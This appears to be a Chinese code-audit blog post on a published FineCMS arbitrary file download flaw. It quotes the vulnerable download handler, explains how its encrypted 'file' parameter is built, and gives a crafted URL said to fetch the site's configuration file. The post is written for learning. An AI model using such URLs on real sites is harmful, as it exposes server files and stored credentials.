代码审计之Finecms任意文件下载漏洞
PS:该漏洞已被公布,只是学习。故自己跟着大佬的步伐审计。
文件地址:\controllers\ApiController.php Line 57
public function downAction() {
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
if (empty($file)) {
$this->msg(lang('a-mod-213'));//该方法可以不管。
}
if (strpos($file, ':/')) {//查找:/第一次出现的位置,如果有就执行header否则...
//远程
header("Location: $file");
} else {
//本地
$file = str_replace('..', '', $file);//将变量file里的..替换为空
$file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;//找$file出现在第一位,则返回根路径+$file
if (!is_file($file)) {
$this->msg(lang('a-mod-214') . '(#' . $file . ')');
};
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));//strchr是从首个出现.的地方开始截断。strolower转换为小写。
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-length: ' . sprintf("%u", filesize($file)));//springtf:把%号替换成一个作为参数,进行传递的变量。
readfile($file);
exit;
}
}
从这个函数当中可以看出$file是可控的一个变量。
然后就需要研究下载得链接地址是如何来得。
我去测试的时候发现,需要注册了用户才可以下载。然后得到下面这个下载得url:
如下图:

以下这个url就是上面提示得这个url:
http://127.0.0.1/1/index.php?c=api&a=down&file=M2ZiZjF2YktnL2RDS2lEWlNybHdkSU1ITnhpSkdtM1BQU01HYXRiSjJvYUFMbmtkejBOc0pVYkt1RlFYa0FGQW9JMjBseFBMQnFmT2xyRXN3bXMva1NpQ3YzK0dja1pWM285cVkrRmFUTFNqTWlseVg1VQ
由此锁定downfile函数。
文件地址:extensions/function.php
function downfile($url) {
return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}
$url这个参数作为路劲。
然后我们可以那么做。本地自己构造这个函数去。
我直接在index.php页面执行了这个函数:

然后在网站的底部就直接生成了下载的URL:

如果是要下载配置文件的话就是:
index.php?c=api&a=down&file=YzlhOENnNWhPclk2cDZuMGxkZWNrcVFvSWRiNjFlME1QLzFkdTMwekRSeDdYL0lPdXU1Sm04RzgzY2UwSVRucnplR1NQZnc1dFBZNitOemlvK2F5LzNZNjlGcHJkNWJGVEE
代码审计之Finecms任意文件下载漏洞的更多相关文章
- 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ...
- 代码审计-(Ear Music).任意文件下载漏洞
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...
- 【代码审计】XYHCMS V3.5任意文件下载漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...
- PHP代码审计笔记--任意文件下载漏洞
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
- 任意文件下载漏洞的接口URL构造分析与讨论
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...
- 代码审计-phpcms9.6.2任意文件下载漏洞
漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...
- ASP代码审计学习笔记 -5.文件下载漏洞
文件下载漏洞 漏洞代码: <% function download(f,n) on error resume next Set S=CreateObject("Adodb.Stream ...
随机推荐
- Java 中 方法名或类名 变更 同时 更新 所有引用的 类名或方法名 的解决方案
选中 类名,或属性名 Ctrl + 1 然后选择 理新当前文件,还是更新整个工作空间,然后修改对应的类名或方法名 回车即可. 如果.有SVN 版本在控制着,则 会提示,然后把对应的文件 锁定 再 ...
- 《深入浅出数据分析》-利用Excel的Solver求橡皮玩具的最大利润
背景:一玩具厂可以生产两种浴盆玩具,分别是橡皮鸭和橡皮鱼,并且原材料和生产时间都有所限制,求如何才分配生产两种玩具的数量才可以让厂商达到最大利润. 假设条件如下: 产品名称 数量 duck a ...
- 近200篇机器学习&深度学习资料分享(含各种文档,视频,源码等)(1)
原文:http://developer.51cto.com/art/201501/464174.htm 编者按:本文收集了百来篇关于机器学习和深度学习的资料,含各种文档,视频,源码等.而且原文也会不定 ...
- 使用Nodejs的Nodemailer通过163信箱发送邮件例程
首先需要安装一下nodemailer #nmp nodemailer install --save 然后就参照官方文档的例程改写一下就行了,代码如下: 'use strict'; const node ...
- XML,dom4j和Java
看了“罗辑思维”的节目,终于克服了自己的拖延症,开始动笔写这篇文章了. 写这篇文章的目的是把XML的解析,萃取和验证都尽量覆盖一下,存储以便日后备考,使用的包是dom4j,涉及语言是Java. dom ...
- Units specified don't exist SHSUCDX can't install
重装系统,出现“Units specified don't exist SHSUCDX can't install”怎么办? 昨天,我们领导弄了个联想Thinkpad T510i的笔记本,本来预装的是 ...
- 无法加载Dll”ArcGISVersion.dll”:0x8007007E
在Win7x64位环境下,无法加载Dll"ArcGISVersion.dll":找不到指定的模块 解决方案: 打开项目的属性-生成-常规-目标平台,选择X86. 参考:http:/ ...
- Oracle 之 分析函数
一.分析函数 1.分析函数 分析函数是Oracle专门用于解决复杂报表统计需求的功能强大的函数,它可以在数据中进行分组然后计算基于组的某种统计值,并且每一组的每一行都可以返回一个统计值. 2.分析函数 ...
- 关于UbuntuMate的两个问题点:SSH问题处理与自启动项配置
一.SSH连接报错问题 ssh到某台机器时候,存在如下报错: /usr/bin/xauth: timeout in locking authority file /home/sam/.Xauthori ...
- 谷歌Gmail 加速
由于某些原因的限制,我们使用谷歌的Gmail服务时,网络加载总是很慢!如下修复 一:修改hosts文件 ping -c g.cn 得到ip地址 在hosts文件里面 添加 上面的 ip地址 ...